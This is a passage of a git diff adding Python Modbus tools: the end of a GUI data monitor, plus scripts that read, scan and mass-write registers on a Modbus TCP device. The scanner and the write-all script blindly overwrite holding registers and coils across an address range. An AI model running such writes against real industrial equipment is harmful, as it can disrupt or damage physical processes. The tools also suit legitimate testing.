and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, 